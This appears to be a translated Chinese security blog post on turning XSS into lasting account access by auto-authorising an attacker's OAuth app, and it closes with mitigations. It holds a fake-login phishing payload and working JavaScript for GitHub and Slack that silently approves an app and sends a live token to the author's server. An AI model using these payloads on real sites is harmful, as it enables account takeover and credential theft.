一、前言
當面試時被問到“XSS(Cross Site Scripting,跨站腳本攻擊)最大的危害是什么?”,通常大家的回答是:“攻擊者可以使用?document.cookie
竊取會話令牌”。
從技術層面來講,雖然這一點適用于某些應用程序,但在現代瀏覽器中,通過設置httponly
標志已經能夠避免JavaScript讀取會話令牌信息。
XSS可能還有其他危害,比如能夠完全控制用戶賬戶或者網站,因為這種攻擊能夠以用戶的身份執行各種操作、竊取數據。雖然從一般意義上來講,攻擊者的確可以利用XSS以用戶身份執行各種操作、讀取各種數據,但主要的限制因素在于操作執行時間,攻擊過程受用戶在頁面上的停留時間所影響。
在受害者關閉頁面后,攻擊者希望能夠長期有效、不受限制、隱蔽地訪問受害者的賬戶,這是真實存在的一種持久化需求。
為了解決這個問題,攻擊者可以考慮推薦安裝Oauth
應用,配合XSS竊取Oauth憑據,攻擊過程無需用戶交互,我也會通過實際網站演示幾個攻擊樣例。
二、其他XSS持久化技術
在深入研究Oauth之前,我們首先來看一下其他一些持久化方案。
前面提到過,httponly
標志是竊取會話令牌的一個主要限制因素,但實際上還有其他一些限制因素,其中包括:
網上已經有一些有趣的技巧能夠實現持久化目標,比如濫用XSS以及JSONP來安裝Service Workers。
這種技巧并不局限于JSONP。一般而言,如果存在任意文件上傳點,或者可以通過其他方法搞定與XSS入口點同源的一個JavaScript文件,那么我們就可以安裝service worker。
這種方法存在一些缺點,比如:
另一種技巧就是利用UI Redressing來誘騙用戶輸入憑據。攻擊者可以使用XSS,在受害者原始頁面上構造一個偽造的登錄界面,然后攻擊者可以借助現代瀏覽器的API,修改URL地址欄,使其看起來像是登錄頁面。
我們可以使用history
?API完成該任務:
history.replaceState(null, null, '../../../../../login');
然后看一下攻擊效果:
首先找到存在XSS漏洞的一個站點:
https://xss-game.appspot.com/level1/frame?query=undefinedundefinedundefined)
然后修改URL,使其看起來像已經重定向到登錄頁面:
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E
點擊該鏈接后,用戶會看到自己處于/login
地址,然而服務端并不存在該地址(如果我們直接訪問該地址,服務端會拋出500
錯誤代碼)。
這種技巧也能掩蓋頁面的源代碼。如果我們點擊“查看源代碼”,看到的是/login
的源代碼,而不是惡意頁面的源代碼。
攻擊者可以使用這種技巧竊取用戶憑據,但這種方法最明顯的缺點在于攻擊過程需要與用戶交互。
三、Oauth持久化方法
Oauth這種機制允許第三方獲取用戶賬戶的長期訪問權限,之前已經有攻擊者濫用過該機制,誘騙用戶點擊授權按鈕。
授權第三方應用后,用戶可以為第三方應用提供一個長期可用的令牌,第三方應用可以通過不同方式,利用該令牌訪問用戶賬戶。
這里我想探索的是如何使用XSS,在無需用戶交互的情況下授權由攻擊者生成的惡意app,我們唯一目的是獲取用戶賬戶的長期訪問權限。
由于我們能以用戶的身份執行一些操作,那么只要Oauth的授權頁面與XSS點同源,那么就能以用戶的身份安裝Oauth應用。下面我們來看一下具體例子。
首先我們在Github中構建一個Oauth應用:
熟悉Oauth的人都知道,一旦用戶點擊授權按鈕,我們的服務器就可以獲取一個長期可用的令牌,能夠訪問我們請求的所有scope(權限范圍)。
Github已經采取一些防護措施,用來保護某些oauth scope。如果用戶最近在這些scope上沒有輸入憑據,那么就需要重新輸入憑據。基于這一點,我們的app只請求不需要憑據的scope。這些scope包括email、Webhooks讀取及寫入,這樣我們就能以用戶的身份在repos(倉庫)上安裝Webhooks。
由于Github將Oauth授權頁面托管在主域名上,因此github.com
上任意位置只要存在XSS漏洞,我們就能以用戶的身份來授權應用。為了模擬XSS攻擊,大家可以在JavaScript終端中粘貼如下代碼。
警告:如下代碼會向我的服務器發送一個實時Oauth憑據。
fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
response.text().then(function (text) {
var oauthForm = '<form id="potato" action="/login/oauth/authorize"' + text.split('<form action="/login/oauth/authorize"')[1].split("<button")[0] + '<input name="authorize" value="1"><input type="submit" id="potato"></form>';
document.write(oauthForm);
document.getElementById("potato").submit();
});
})
瀏覽器控制臺:
就這么簡單,以上代碼可以安裝Oauth應用,將令牌發送給我的服務器。現在攻擊者已經可以長期訪問受害者賬戶,也能以目標用戶的身份安裝webhooks。
我們還可以使用這種技術攻擊slack。如果用戶具備相應權限,則如下JavaScript代碼可以強迫用戶在自己的workspace(工作區)中安裝一個Oauth應用:
為了模擬XSS攻擊,此時我們還是可以將如下JavaScript代碼粘貼到自己的workspace域中。
警告:如下代碼會向我的服務器發送一個實時Oauth憑據。
fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
response.text().then(function (text) {
var oauthPath = text.split('<noscript><meta http-equiv="refresh" content="0; URL=')[1].split('?')[0];
fetch(location.origin + oauthPath).then(function(response){
response.text().then(function (text) {
var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
var evilForm = `<form id="potatoCarrots" action="${oauthPath}" method="post" accept-encoding="UTF-8"><input type="hidden" name="create_authorization" value="1" /><input type="hidden" name="crumb" value="${crumb}" /></form><script>document.getElementById('potatoCarrots').submit()</script>`
document.write(evilForm)
})
})
});
})
如上代碼運行在用戶workspace的XSS上下文中,會安裝一個Oauth應用,其scope為channel:history
。攻擊者可以獲取用戶workspace中公開channel的長期讀取權限。
四、總結
對于攻擊者而言,安裝Oauth應用是獲取受害者賬戶訪問權限的一種可靠方式。XSS可以用來安裝應用,并且受害者無法察覺。
本文討論的這種方法可以替代傳統的?document.cookie
?XSS攻擊方法,獲取目標賬戶的長期訪問權限。
大家可以訪問此處獲取支持Oauth的部分網站列表。
五、建議
Slack以及Github會在安裝應用時向用戶發送通知郵件,這種方法非常好,可以通知用戶可能存在問題的操作。
Github還設置了一些額外安全策略,使敏感的oauth授權操作需要重新輸入密碼,這可能是一把雙刃劍,因為此時用戶需要定期向應用輸入敏感憑據。前文提到的密碼竊取技術可能對用戶群體來說更加有效,因此需要阻止這種自動化Oauth令牌竊取技術影響這些scope。
還有另一種防護方法,可以考慮將Oauth應用授權地址遷移到獨立的子域名上。這樣就能限制XSS攻擊面,攻擊者需要找到同源上的注入點,如果范圍過小,這個任務可能很難完成。
某些廠商(如Google)已經為Oauth授權頁面分配單獨的子域名,也就是說,我之前分析的許多廠商并沒有為Oauth授權頁面分配單獨的子域名。
基于這個原因,我認為與Oauth授權頁面同源的XSS漏洞(不管是反射型、存儲型或者DOM型)都應該比與Oauth授權頁面不同源的XSS漏洞危害程度要高。